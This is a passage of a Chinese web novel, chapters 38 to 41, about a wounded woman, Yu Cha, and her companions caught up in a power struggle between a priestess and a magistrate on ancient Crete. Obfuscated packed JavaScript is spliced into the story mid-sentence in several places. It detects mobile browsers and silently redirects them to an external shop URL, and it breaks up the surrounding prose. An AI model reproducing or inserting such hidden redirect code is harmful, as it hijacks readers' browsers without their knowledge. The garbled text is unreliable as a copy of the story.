d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new 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“运气不错。”他低声说,“但标记还在。你逃不掉。” 说完,他身形一闪,如同鬼魅般消失在黑暗的山林之中。 火把的光芒越来越近。人声嘈杂。 余茶瘫在地上,怀抱着彻底沉寂的铜镜,看着那群越来越近的士兵,突然发出一声沙哑的、近乎崩溃的笑。 她又一次活了下来。 以一种她完全无法理解、完全无法掌控的方式。 但代价是什么? 铜镜沉寂了。它最后的力量,用来为她挡下了那致命的一击。 她低头看着那面冰冷的镜子,看着上面沉默的夔龙纹,眼泪终于无声地涌出。 身后,缝隙深处,利诺斯的呼吸依旧滚烫。 火把的光芒照亮了她的脸。 搜捕队的队长走上前,居高临下地看着这个浑身血污、左腿已废、怀抱铜镜的女人。 “还有一个!”有人喊道,“缝隙里!还活着!” 队长挥了挥手:“都带走。克里同要活的。” 余茶没有反抗。她早已没有力气反抗。 她被拖起来,铜镜被从她怀中粗暴地夺走。她下意识地伸手想抓住,却只抓到一把空气。 铜镜落入队长手中。队长看了看那古朴的纹路,眼中闪过一丝贪婪的光芒。 “好东西。”他低声说,“克里同会很高兴。” 余茶被拖走。身后,利诺斯也被从缝隙中拖了出来,像一具尸体般毫无反应。 月光冷冷地照着,照着这片狼藉的山坡,照着那面被夺走的夔龙纹铜镜,照着两个被拖向未知命运的濒死者。 远处,山林的阴影里,一双冰灰色的眼睛默默注视着这一切。 年轻人嘴角勾起一丝冰冷的弧度。 “标记……还在。” 他转身,消失在黑暗之中。 只剩月光,亘古如常。 38. 石墙之内 余茶是被摇晃醒的。 不是剧烈的震荡,而是一种持续不断的、有节奏的晃动——人的脚步,沉重的、杂乱的脚步,踏在崎岖的山路上。身下是粗糙的硬物,硌着她的脊背,每一次晃动都将疼痛从左腿传到脊椎,再从脊椎炸开到全身。她想动,但双手被绳索紧紧捆在身后,脚踝也被绑住——那绑缚的绳索勒进左腿快要坏死的伤口,带来一种钝重的、麻木的、警示的痛。 她睁开眼。 眼前是晃动的人腿,士兵的腿,穿着皮制胫甲,一步一步地踏着岩石和泥土。她意识到自己躺在一副担架上——两根粗壮的木杆,中间绷着几块破烂的布和藤条编织的网,粗糙、简陋,但足够承载她的重量。担架一前一后被两个士兵扛着,他们的肩膀随着步伐起伏,汗水滴落在她脸上。 旁边还有另一副担架。利诺斯躺在上面,一动不动。他的脸色在昏暗的天光下呈现出可怕的灰白,嘴唇干裂,呼吸微弱而急促。左腿的伤口只是被草草用布条缠住,布条已被血和脓液浸透,散发出一股腐败的甜腥味。 周围是一队士兵,大约十来个,手持长矛,警惕地扫视着两侧的山林。山路狭窄陡峭,两侧是嶙峋的岩石和稀疏的灌木。太阳已经偏西,光线昏黄,分不清是傍晚还是将雨前的阴沉。 “快走!天黑前必须赶到港口!”前面传来队长的催促声。 士兵们加快了脚步。担架晃得更厉害了,余茶被晃得头晕恶心,而左腿每一次晃动都像被钝刀切割。 旁边担架上的利诺斯突然动了动,应该是昏迷中无意识地抽搐了。他喉咙里发出含混的声音,像是在忍受什么巨大的痛苦。一个士兵低头看了他一眼,摇了摇头。 “烧成这样,撑不了多久。” 没有人回应。 队伍继续向前。余茶看着头顶掠过的岩石和枯枝,看着天光一点一点暗下去,意识在剧痛和疲惫中时而清晰时而模糊。 不知过了多久,前方的视野豁然开朗。他们走出了山区,眼前是一片倾斜的缓坡,缓坡尽头,是大海——灰蓝色的、泛着暮色余晖的爱琴海。海岸边,一座城镇的轮廓在昏暗中隐约可见。那是港口。 士兵们加快了脚步。担架几乎是在小跑,剧烈的颠簸让余茶眼前阵阵发黑。 终于,他们进入了城镇。狭窄的街道,低矮的石砌房屋,偶尔有路人投来好奇或恐惧的目光,但没有人敢靠近。队伍穿过几条街,最终停在一座厚重的石砌建筑前——囚犯的关押地。 沉重的木门被推开,里面是一条狭窄的走廊,两侧是几间低矮的囚室。空气里弥漫着潮湿、霉烂和粪便的恶臭。余茶被抬进其中一间。 抬担架的士兵解开她手脚的绳索,粗鲁地将她翻到地上铺着的干草上。左腿着地的瞬间,骨头断裂处被强行压到,撕裂的痛让余茶惨叫一声,眼前发黑,几乎晕厥。 士兵没有理会她,转身出去。利诺斯被抬进来,放在她旁边,依旧是昏迷不醒。 木门“砰”的一声关上了。 铁闩落下的声音沉重而刺耳。 黑暗,令人窒息的黑暗。 只有利诺斯滚烫的呼吸,和余茶自己急促的心跳。 她不知道自己在那里躺了多久时间。 直到门外传来脚步声。 铁闩被拉开,木门打开,刺眼的光线涌入——是火把的光。余茶眯起眼,看到几个身影走进囚室。为首的那个,背着光,看不清面容,但身形气度,以及身后跟着的几名全副武装的士兵—— 克里同。 火把插进墙上的铁架,照亮了整个囚室。克里同站在余茶面前,居高临下地看着她。 沉默持续了很久。 然后,克里同开口了。他的声音低沉,带着一种压抑的、不易察觉的疲惫: “又见面了……外来者。” 余茶没有回答。 克里同似乎并不在意她的沉默。他挥了挥手,身后一名士兵上前,将一个东西扔在余茶面前的干草上。 是那个布囊。五块碎片从敞开的布囊口露出半截,在火把的光下泛着暗淡的金属光泽。 “这些,”克里同说,“和那面铜镜,你们从哪儿找到的?” 余茶依旧沉默。 克里同蹲下身,平视着她的眼睛。他的目光锐利而直接,不是那种残暴的威胁,而是一种更加危险的、冷静的审视。 “我不喜欢杀人。”他说,“尤其不喜欢杀没有反抗能力的人。但这座岛正在死去。地脉在震动,庄稼在枯萎,牲畜在暴毙,港口的水变成了黑色,渔民用网捞上来的,只有腐烂的死鱼。我的占卜师说,这是神灵的愤怒。我的士兵说,这是女祭司的诅咒。而我……” 他顿了顿,目光变得更加深沉。 “我只想知道真相。” 余茶看着他。这个被阿尔克提斯称为“从雅典学习归来的新派”、被长老会的保守派视为威胁的中年人,此刻脸上没有任何傲慢或贪婪,只有一种……近乎疲惫的、被现实逼迫到墙角的无奈。 “阿尔克提斯在哪儿?”余茶嘶哑地问。 克里同眼中闪过一丝意外——这是她第一次开口,竟然不是求饶。 “不知道。”他回答,“也许死了,也许还活着。我不在乎。我在乎的,是这些东西——”他指了指地上的碎片,“——到底是什么。” 余茶沉默了很久。 然后,她开口了。 她不知道自己为什么要说。也许是因为太累了,也许是因为那些碎片已经失去了力量,也许是因为……她突然意识到,克里同和阿尔克提斯的对立,并非简单的善恶之分。在末日般的灾难面前,所有人都只是在用自己的方式挣扎求生。 她告诉他地脉系统、七个节点、碎片是钥匙、星之眼是控制核心、铜镜是守视者的凭证、以及……那个拥有暗蓝色金属薄片的年轻人,正在追踪这一切。 她没有说入侵者和标记的事。没有说铜镜最后的力量已经耗尽。没有说利诺斯在裂隙深处的遭遇。 但她说得已经够多了。 克里同听完 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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铁闩落下的声音沉重而刺耳。 黑暗再次降临。 但这一次,黑暗中多了一丝微弱的、不知从何而来的光——也许是门口方孔透进来的,也许是余茶自己的错觉。 她低头看着地上的布囊,看着那五块依旧死寂的碎片。 克里同把它们留下了。为什么?是信任?是试探?还是……他也在赌? 她不知道。 她只知道,她现在唯一能做的,就是活下去。活到利诺斯醒来。活到弄清楚那个年轻人的真正目的。 她伸出手,将布囊拉到自己身边,紧紧抱在怀里。碎片冰冷依旧,没有任何生命的气息。但她不在乎。 这是她用自己的血、用自己的腿、用自己的几乎全部,换来的东西。 她不会放弃。 旁边,利诺斯的呼吸依旧滚烫。她伸手探了探他的额头——烫得吓人,但似乎比刚才稍微稳定了一些。 她靠在他旁边,闭上眼睛。 门外,脚步声渐渐远去。 石墙之内,两个濒死的幸存者,紧紧靠在一起,等待着未知的命运。 而远处,山林的阴影里,一双冰灰色的眼睛,正透过月光,冷冷地注视着山下那座点着火把的港口。 39. 港口的对峙 囚室的门被打开时,余茶以为又是来送水的士兵。但走进来的却是克里同本人,身后没有跟着任何人,脸上带着一种她从未见过的表情——犹豫。 “你跟我来。”他对余茶说,目光在昏迷的利诺斯身上停留了一瞬,“他留在这里,有人照顾。” 余茶没有问为什么。她挣扎着站起身,左腿的剧痛让她踉跄了一下,克里同示意门口的士兵扶她。 他们穿过狭窄的走廊,走出石砌的监狱建筑。刺眼的阳光让余茶眯起眼——她已经太久没见过真正的阳光了。港口特有的咸腥海风扑面而来,夹杂着人群嘈杂的声浪。 但不是日常的嘈杂。 是愤怒的、惊恐的、混杂着呼喊和咒骂的喧嚣。 港口广场上,黑压压地聚集了数百人——渔民、商贩、工匠、妇女、孩子,还有一些穿着皮甲的士兵混杂其中。所有人的目光都盯着广场中央的一座临时搭建的木台。 木台上站着一个女人。 紫色的长袍已经破损褪色,被仔细清洗过,但仍能看出血迹留下的暗痕。她的头发简单束起,脸上带着疲惫和憔悴,但那双眼睛——那双燃烧着信仰、从未屈服的眼睛——余茶一眼就认了出来。 阿尔克提斯。 她身后站着一个中年的女子,穿着简朴的束腰外衣,警惕地注视着台下的人群。那是艾拉——余茶只见过她一面,在很久以前,阿尔克提斯曾简短地提到过她最信任的侍女。 “——你们亲眼看到了!”阿尔克提斯的声音穿透嘈杂,清晰地传入每个人耳中,“三天前,南岸的地震停止了!是我——用古老神明的赐福,让它停止了!” 台下爆发出混乱的回应:有人欢呼,有人咒骂,有人高喊骗子,有人叫嚷“让她滚回山里去”。 “地脉的愤怒不是因为我!”阿尔克提斯提高声音,“是因为有人从海外带来了让神明愤怒之物。那些来自北方的陌生人——你们见过他们的船吗?见过那些眼睛空洞的士兵吗?他们才是灾祸的根源!” 人群的骚动更加剧烈。余茶看到人群中确实有一些士兵,但他们的表情迷茫,武器低垂,显然也在动摇。 克里同站在她身边,眉头紧锁,一言不发。 “把她抓起来!”一个尖厉的声音从人群中响起——那是一个穿着讲究的长老,余茶认出他是科斯摩成员之一,克里同的盟友,“她是大祭司,地震是她不洁的祭祀来的,现在又来假装平息!” 一部分人跟着起哄,但更多的人只是沉默地看着。 阿尔克提斯没有理会那长老,她的目光越过人群,落在克里同身上。 隔着数百人的距离,两人的目光相遇。 那一刻,余茶感到一股无形的张力在空气中凝结。港口的海风似乎都停滞了。 克里同迈步向前。人群自动让开一条路。他走上木台,站在阿尔克提斯对面。艾拉下意识地挡在阿尔克提斯身前,但阿尔克提斯轻轻拍了拍她的肩膀,示意她退后。 “你凭什么说,”克里同的声音低沉,但所有人都能听到,“你平息了地震?” 阿尔克提斯从怀中取出一块东西——一块巴掌大小的、表面刻着复杂纹路的铜板,是一块余茶从未见过的东西。 “这是南湾礁石深处的古老神明遗物,”阿尔克提斯举起铜板,“它记录着地脉的流动。三天前,它告诉我震动的源头在哪儿,也告诉我如何让它停止。” 她转向台下,将铜板展示给最近的人看。 “你们中有人认识这东西吗?这是母神时代留下的——比宙斯,比奥林匹斯,比所有你们现在信仰的神都要古老。这片土地,这些山脉,这些地下的火焰,是母神的血脉。而现在,有人在撕裂这些血脉!” 她指向港口外的大海,指向那一片在阳光下闪烁的蔚蓝。 “那些从北方来的陌生人——那个眼睛像冰、用会发光的蓝色金属片的人——他才是真正的威胁。他杀了你们的同伴,让他们的灵魂变成空洞的躯壳!你们要为他抓我?要为他杀死真正能保护这片土地的人?” 人群的骚动变成了低语。恐惧和愤怒在每个人脸上交替浮现。 克里同沉默了很久。 然后,他开口了——声音不高,但所有人都安静下来听。 “那个女人,”他指向余茶的方向,“还有她身边那个受伤的男人——他们确实从山里逃出来,身上带着古老的东西。我审问过她。她告诉我的事情……” 他停顿了一下,似乎在斟酌每一个字。 “……和我这几天看到的一切,吻合。” 人群中的几个长老发出不满的嘘声,但克里同抬起手,制止了他们。 “我见过那个眼睛像冰的人。我派去跟踪他的人,回来时——已经不再是人了。”他的声音变得沉重,“你们也都听说了。那三具空壳还躺在议事厅里,眼睛睁着,不会说话,不会吃饭,只是……存在。” 广场上鸦雀无声。 阿尔克提斯看着他,眼神中闪过一丝复杂的光芒,意外中带着某种理解。 “所以,克里同,”她缓缓道,“你选择相信我?” 克里同没有直接回答。他转向台下,对着所有聚集的民众,对着那些士兵、渔民、商人、妇女,一字一句地说: “我不是相信她。我是相信我的眼睛,我的耳朵,我的士兵的死。” 他深吸一口气,做出了一个让所有人——包括阿尔克提斯——都意外的决定。 “从现在起,港口和岛屿的防务,由我和大祭司共同负责。科斯摩的会议,她有权再次参加。” 人群中爆发出更大的骚动。那个尖厉的长老试图抗议,但被身边的士兵拦住了——这些士兵,恰恰是亲眼见过那些空洞躯壳的人。 阿尔克提斯看着克里同,嘴角微微扬起,带着深沉近乎悲悯的神情。 “你做了一个明智的决定,”她低声说,“虽然迟了。” 克里同没有回应。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17226110|197565||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 他只是转身,对着台下挥了挥手。 “港口加强警戒,所有外来船只必须接受检查!” 人群开始缓缓散开。余茶站在原地,看着这一幕,心中涌起一种难以言喻的荒谬感——几个小时前,她还是阶下囚,阿尔克提斯生死不明;现在,阿尔克提斯和克里同竟然并肩站在台上。 阿尔克提斯看到了她。她走下台,穿过人群,径直走到余茶面前。艾拉跟在身后,眼中带着好奇和警惕。 “你活着。”阿尔克提斯说,语气平淡,但余茶能听出其中隐藏的波动。 “你也是。”余茶沙哑地回答。 阿尔克提斯的目光落在她的左腿上——被血浸透的破烂布条,完全无法用力的姿态。她眼中闪过一丝不忍。 “利诺斯呢?” “还活着。在牢里。” 阿尔克提斯转向艾拉:“去把他带出来。请医者。” 艾拉点头,快步离开。 余茶看着她远去的背影,又看向阿尔克提斯。 “那个年轻人……”她开口。 “我知道。”阿尔克提斯打断她,“铜镜被他拿走了。克里同告诉我了。”她的目光投向远方的大海,眉头紧锁,“他不会善罢甘休。他还会回来。” “那面铜镜……”余茶犹豫了一下,“它很重要。比我们之前以为的更重要。” 阿尔克提斯看着她,等她说下去。 但余茶没有继续说。她太累了,累到无法组织语言。她只是从怀中掏出那张被仔细折叠的纸——那是她在囚室里,趁着微弱的火光,用克里同留下的炭笔和纸片,临摹的铜镜背面铭文拓片。 阿尔克提斯接过纸片,展开。三圈铭文——内圈系统符号,中圈变体,外圈类甲骨文——在阳光下清晰可见。 她的瞳孔微微收缩。 “这是……” “铜镜背面的铭文。”余茶说,“我凭借记忆拓印了一份。” 阿尔克提斯沉默了很久,手指轻轻抚过那些符号,尤其是最外圈那些她从未见过的、带着东方韵味的线条。 “东方……”她喃喃道。 码头上,艾拉扶着利诺斯走来。利诺斯的脸色苍白,他看到阿尔克提斯,眼中闪过一丝意外,然后是某种复杂的、难以解读的光芒。 “大祭司。”他的声音沙哑,却带着一丝熟悉的戏谑,“看来您也学会从地底爬出来了。” 阿尔克提斯没有理会他的调侃。她收起纸片,看着余茶和利诺斯。 “你们需要休息。然后,我们需要谈谈——关于铜镜,关于那个年轻人,关于……东方。” 她转身,向港口旁一栋较为整洁的石屋走去。艾拉扶着余茶,一个年轻的山民扶着利诺斯。 身后,海风依旧。阳光洒在波光粼粼的海面上,仿佛什么都没有发生过。 但余茶知道,一切才刚刚开始。 远处海天相接的地方,一道若有若无的暗蓝色光芒一闪而逝。 40. 修复节点 余茶是被阳光晃醒的。 温暖的、带着海腥味的阳光,透过窗棂的缝隙洒在她脸上。她睁开眼,发现自己躺在一张铺着羊毛毯的矮床上。房间不大,但干净——石砌的墙壁,木制的窗框,陶罐里插着几枝干枯的薰衣草。 左腿被重新包扎过,白色的亚麻布条缠得整整齐齐,敷着捣碎的草药,清凉的感觉压住了灼痛。有人在照顾她。 她挣扎着坐起,环顾四周。房间另一侧的矮床上,利诺斯仰面躺着,依旧昏迷,但呼吸平稳了许多。他的左腿也被重新包扎过,额头上敷着湿布。 门被推开。艾拉端着一碗热气腾腾的东西走进来,看到余茶醒了,脸上露出欣慰的笑。 “你醒了。喝点这个,山羊奶煮的,加了蜂蜜。” 余茶接过陶碗,温热的液体滑入喉咙,带来久违的暖意。她看着艾拉,这个沉默而忠诚的侍女,脸上有明显的疲惫,但眼睛明亮。 “身体怎么样了?”艾拉问。 “好多了。”余茶点点头,看向窗外。阳光灿烂,海面波光粼粼,远处有海鸟盘旋。她想起那天晚上的追捕,想起那个冰灰色眼睛的年轻人,想起铜镜最后那场狂暴的能量风暴…… “阿尔克提斯呢?” 艾拉指了指窗外:“在外面平台上。站了很久了。” 余茶挣扎着想下床,左腿传来的剧痛让她倒吸一口冷气。艾拉按住她。 “别动。医者说,你这条腿要是再恶化,会危及生命。” 余茶没有说话。她靠在床头,看着窗外那片蔚蓝的海。沉默了一会儿,她看向艾拉。 “大祭司怎么找到你们的?”余茶问,“那天在瀑布下面,我们都以为……” 艾拉沉默了片刻。然后,她深吸一口气,开始讲述那一天的经过。 --- “那天,大祭司派我去南湾探查那条古老的水道。她说,如果她没能回来,让我循着她留下的标记去找她。”艾拉的声音很轻,像是在回忆一场遥远的梦,“我找到她的时候,她躺在瀑布下面的礁石平台上,浑身是血,肋骨断了,昏迷不醒。我不知道她是怎么从那么高的地方摔下来还能活着的。” 余茶没有说话。攀岩,坠落,混乱。阿尔克提斯用身体垫住了她的冲击,自己却伤得更重。 “我把她拖到附近一个隐蔽的洞穴里,用草药给她包扎。她昏迷了整整一天一夜,我守着她,以为她醒不过来了。”艾拉低下头,“但第二天晚上,她突然睁开眼,第一句话就问你们在哪儿。” 余茶的心微微一缩。 “我告诉她我没找到你们,她沉默了很久。然后,她问我——那条水道,我进去了没有。” 艾拉抬起头,看着余茶,眼中闪烁着异样的光芒。 “我进去了。一直走到最深处。” 余茶盯着她。 “那里有什么?” 艾拉的声音变得凝重:“一个巨大的金属装置。嵌在岩壁上,足有两人高,上面刻满了符号。我不认识那些符号,但它……它在发光。很微弱,像活的东西。” 余茶的心跳加快了。金属装置,刻满符号,发光。 “我带大祭司去了那里。她的伤还没好,每走一步都很艰难,但她坚持要去。”艾拉继续说,“那个洞穴很深,很暗,我的油灯只能照亮很小一片。但当我们走到装置面前时,大祭司……她整个人都变了。” “变了?” “她盯着那些符号,嘴唇翕动,念念有词。是我听不懂的语言。”艾拉回忆着,“然后她伸出手,触摸那些符号。就在她碰到的一瞬间,整个装置亮了起来。” 余茶屏住呼吸。 “那种光……不是火焰的光,也不是太阳的光,是那种从金属里面透出来的、蓝白色的光,像——像活的。”艾拉的声音里带着一丝敬畏,“大祭司说,那是地脉稳定器,是母神时代留下的东西。她一直以为那只是歌谣里的传说,没想到真的存在。” “她启动它了?”余茶问。 艾拉点头:“她用自己的血,滴进装置中央的凹槽。然后——” 她顿了顿,似乎在寻找合适的词。 “然后她开始发光。不是真的发光,是……我不知道怎么形容。她闭着眼睛,浑身颤抖,口鼻开始渗血。我以为她要死了,想把她拉开,但我碰不到她——好像有什么东西挡住了我。” 余茶想起自己在星之眼石室里的经历——那种被灌入知识的撕裂感,那种与系统连接时的濒死体验。阿尔克提斯经历的,应该是类似的。 “她后来告诉我,那一刻,她看到了整座岛下面的东西。”艾拉说,“看到地脉像血管一样交错纵横,看到七个节点,看到星之眼那里的金色能量,还有……”她的声音压低,“看到深海之中,一个巨大的裂缝,裂缝里涌动着黑色的恶意。那就是入侵者的巢穴。” 余茶沉默了。那些画面,她也见过——在星图里,在那些灌入脑海的知识碎片中。 “她用自己的意志,引导装置的能量去稳住那些暴动的脉。她说,那时候你们也在做同样的事——激活节点,对抗入侵者。她的能量和你们的能量汇合在一起,才把那股恶意暂时驱逐回去。” 艾拉说完,长长地吁了口气,仿佛那段经历又重演了一遍。 “她昏迷了很久。醒过来后,第一件事就是让我扶她起来,去找你们。”艾拉看着余茶,“她不知道你们还活着,但她不肯放弃。她说,她能感觉到那两个微弱的光点还在。” 余茶低头看着自己的左腿,看着那缠得整整齐齐的亚麻布。那些光点——她和利诺斯——在星之眼的洞窟里,濒死,挣扎,却还活着。 “所以,”她哑声说,“是她稳住了地震。不是入侵者离开,是她。” “大祭司说,不是她一个人。”艾拉看着余茶,“她说,没有你们激活的五个节点,她的能量无处可去。你们在星之眼做的事,和她做的事,是一体的。” 余茶没有说话。她靠在床头,看着窗外那片蔚蓝的海,沉默了很久。 “她在外面?”她终于问。 艾拉点头。 “我想见她。” --- 余茶拄着艾拉找来的粗糙拐杖,一步一步挪出石屋。左腿每着地一次,就传来一阵钝重的痛,但她咬牙忍住了。 阿尔克提斯站在石屋外的平台上。海风吹拂着她破损的紫色长袍,将她的头发吹得凌乱。她的目光越过港口,越过波光粼粼的海面,落在远方那道隐约可见的海天交界线上。那里,在正午的阳光下,有一道若有若无的暗蓝色光芒一闪而逝。 余茶看到了那道光芒。 入侵者。他还在等待。 阿尔克提斯转过身,看着她。两人的目光相遇。 “你活下来了。”阿尔克提斯说,语气平淡。 “你也是。”余茶回答。 阿尔克提斯走到她身边,看着她的左腿。 “医者说,这条腿保不住了。只能尽量让它不烂掉,让你多活几年。” 余茶点头,平静得仿佛在听别人的事。 “我知道。” 阿尔克提斯沉默了一瞬。然后,她开口,声音比刚才低了一些。 “艾拉都告诉你了?” “都告诉我了。” “那个装置,”阿尔克提斯看着远处的海面,“五个节点已经激活,但还需要二次校准,才能真正封印裂隙,彻底驱逐入侵者。你们在星之眼看到的东西——那些知识,那些星图——现在需要派上用场了。” 余茶看着她:“怎么校准?” “去每一个节点。用你在星之眼获得的视野,引导我的能量,重新调整每一 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17226111|197565||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 个节点的频率。只有这样才能彻底闭合入侵者渗透的那些缝隙。” 余茶沉默了片刻,然后点头。 “什么时候开始?” “现在。”阿尔克提斯转身,向石屋走去,“克里同会派人保护我们。没有时间浪费了。” 她走了几步,又停下,回过头。 “余茶。” 余茶看着她。 “谢谢母神,让你活着。” 余茶没有回答。她只是点了点头。 --- 接下来的三天,他们走遍了五个节点。 眼——那座最初指引他们的石峰。阿尔克提斯站在峰顶,用手掌贴着岩石。余茶闭着眼睛,努力回想那些灌入脑海的画面:那道光应该是金色的,如同黎明前最亮的那颗星。她把这个频率告诉阿尔克提斯。阿尔克提斯引导装置的能量,与那个频率共振。岩石微微发光,然后沉寂。校准完成。 火——矿坑深处的熔炉节点。利诺斯在余茶的指引下,将一块从星之眼带出的微小晶体碎片嵌入熔炉边缘的凹槽。熔炉深处传来一声低沉的轰鸣,如同巨兽翻身,然后平息。 水——南湾礁石,那个他们最初发现第四块碎片的地方。阿尔克提斯站在那面刻有浮雕的岩壁前,再次启动那个稳定装置。这一次,装置的光芒与礁石底部那个水下入口的能量共鸣,海水微微发烫,然后冷却。 木——千橡之森,那棵巨树。当余茶的手触摸到粗糙的树皮时,她感到一股温暖而古老的力量轻轻拂过她的意识,如同一个老人在确认她的身份。然后,树皮上流淌的翡翠色光芒变得更加温润、平和。 星之眼——他们无法再上去。那道密道已经关闭,克里同的人也无法重新打开。但阿尔克提斯说,不需要。星之眼的校准,已经在余茶第一次激活它时完成了。 最后一个晚上,他们站在千橡之森的巨树下,看着最后一缕天光消失在西方的山脊。 “够了吗?”利诺斯问。他的脸色依旧苍白,明明左腿伤得不比余茶轻,但由于使用拐杖极为熟练,已经能靠着拐杖自己行走几步。 阿尔克提斯闭上眼睛,感受脚下大地的脉动。那些曾经狂暴、混乱、充满恐惧的能量,此刻已经变得稳定、有序,就像疲惫的人终于能够平静呼吸。 “暂时够了。”她睁开眼,“但入侵者没有被消灭,只是被驱逐。那道裂隙还在。只要裂隙还在,他还会回来。” 余茶看着她:“那面铜镜被他拿走了。如果他利用……” “他知道怎么用吗?”阿尔克提斯问。 余茶想起铜镜最后那场狂暴的能量风暴,想起那个年轻人在被击退前眼中的贪婪和杀意。 “也许不完全是。但他有那块会发光的蓝色金属,他对付我们的时候用过它——那东西和入侵者的力量有关,很强大。” 阿尔克提斯沉默了很久。 “所以,我们还有时间。在他学会使用铜镜之前。” 她转身,向港口的方向走去。 “回去吧。明天,科斯摩会开会。克里同已经同意让我出席。我们还有仗要打。” 余茶看着她的背影,又看看身边的利诺斯。 “你信她吗?”她问。 利诺斯扯出一个虚弱的笑:“不信。但此刻,她是我们唯一的筹码。” 他顿了顿,目光落在余茶的左腿上。 “你的腿……” “还能用。”余茶平静地说。 利诺斯没有说话。他伸出手,拍了拍她的肩膀。 两人由山民搀扶着,跟在阿尔克提斯身后,一步步走出千橡之森。 身后,巨树沉默地矗立,翡翠色的光芒在黑暗中静静流淌。 而远处,大海的尽头,那道暗蓝色的光芒,如同永不熄灭的恶意的眼睛,依旧在那里,等待着。 41. 科斯摩的会议 清晨的阳光洒在港口广场上,将昨夜暴雨留下的水洼映成一片片碎金。空气里还残留着雨后的潮湿和清新,混着海风的咸腥。广场上聚集了比往常更多的人——穿着长袍的科斯摩成员、全副武装的士兵、以及一些神情肃穆的长老。人群外围还站着许多普通公民,他们是来看热闹的,也是来见证的。在克里特,任何重要的决定都不能完全避开公民的眼睛。 余茶站在广场边缘的一处石阶上,拄着粗糙的拐杖。左腿的伤口被医者重新清理包扎过,敷上了据说能防止腐烂的药膏,但疼痛依旧,每一次呼吸都能感觉到那钝重的、不祥的灼热。至于医者说的腿废了,余茶没有放在心上,只要不感染腐烂,骨头没接歪,年轻人总是有机会恢复。 利诺斯拄着拐站在她身边,他的目光扫过广场上的人群,习惯性地评估着每一个人的威胁等级。 “古老的规矩,”他低声说,语气里带着一丝看戏般的玩味,“科斯摩的首席每年一换,从最重要的家族里选出。今年是克里同的人占多数,但地震一闹,那些墙头草开始动摇了。” 余茶没有说话。她这几天从利诺斯断断续续的讲述中,已经对这个城邦的政治结构有了大致了解。克里特岛不像雅典那样实行民主,权力掌握在贵族手中。科斯摩是最高行政官职,通常由十个最有权势的人担任,他们控制着司法、祭祀和对外事务。长老会则由更广泛的贵族组成,有权监督科斯摩。 克里同来自一个古老的家族,在雅典学习过,带回了新的思想,是所谓“新派”的代表。阿尔克提斯则出自祭司世家,是老派眼中的正统象征。两人原本势同水火。 但现在,一切都变了。阿尔克提斯先被污蔑为渎神者,差点被逐出科斯摩。 广场中央,一座临时搭建的石台上,十张石凳已经摆好。那是科斯摩的席位。传令官站在一旁,手持铜杖,等待会议开始。 阿尔克提斯从广场一侧走来。艾拉搀扶着她,身后跟着二十几个山民——他们穿着粗糙的狩猎装,腰间挂着短刀,背上背着硬木长弓。那是克里特岛山区特有的弓,用野山羊角与坚韧的木料复合制成,射程远,力道沉。这些山民世代生活在岛屿中央的崇山峻岭中,与阿尔克提斯的祭司家族有着古老的盟约。他们人数不多,但每一个都是百发百中的弓箭手,在狭窄的山道上,他们比任何重装步兵都更致命。 阿尔克提斯换了件新的紫色长袍,她的头发简单束起,脸上带着疲惫,但那双眼睛,依旧燃烧着不屈的光芒。她走得很慢,虽然肋间的伤还没好,可每一步都很稳。 与此同时,克里同从广场另一侧走来。他身后跟着几名士兵,还有几个穿着讲究的贵族——他的支持者,那些在科斯摩中占多数的“新派”成员。 两人在石台前相遇。 克里同看着她,又看了一眼她身后那些沉默的山民弓箭手,眼中闪过一丝复杂的情绪。 “你把他们带来了。” “他们是我的族人。”阿尔克提斯的声音平静,“我有权带他们来旁听。” 克里同没有反驳。他侧身,让出通往石台的路。 “上去吧。” 阿尔克提斯松开艾拉的手,独自走上石台。她走到那十张石凳旁边,在最边缘的一张前停下。那是她的位置——她本就是科斯摩的成员,虽然在这个由克里同主导的任期里,她的声音一直被压制。 传令官敲响铜杖,大声宣布:“科斯摩会议——开始!” 十名科斯摩成员陆续登上石台,坐在各自的石凳上。克里同坐在最中央的首席。他的左侧是他的盟友,右侧则是那些摇摆不定的人。最边缘的两个位置,坐着阿尔克提斯和另一个年迈的长老——那长老满头白发,脸上刻满皱纹,但他的眼睛依旧锐利。他叫拉奥达马斯,来自岛上最古老的家族之一,与阿尔克提斯的家族世代联姻。他身后,也站着几个山民模样的护卫。 传令官宣读了开场辞——冗长的、程式化的、关于神灵和祖先的套话。然后是第一个议题:关于近日地脉震动、港口异象、以及那些变成空洞躯壳的士兵的处理。 坐在克里同左侧的一个中年贵族率先站起。他叫攸布洛斯,声音尖利,是克里同最坚定的盟友。 “我提议,”攸布洛斯高声说,“将阿尔克提斯以渎神和召来灾祸的罪名,交由神庙审判!她和她那些山民,早就该——” “攸布洛斯。”克里同打断他,声音低沉平稳,“你的庄园在南坡,离千橡之森最近。” 攸布洛斯一愣:“那又如何?” “如果地震再持续三天,你的房子、你的土地、你的奴隶——全都会滑进海里。”克里同看着他,“而地震,停了。” 攸布洛斯脸色涨红:“你——你这是在为她说话?!” 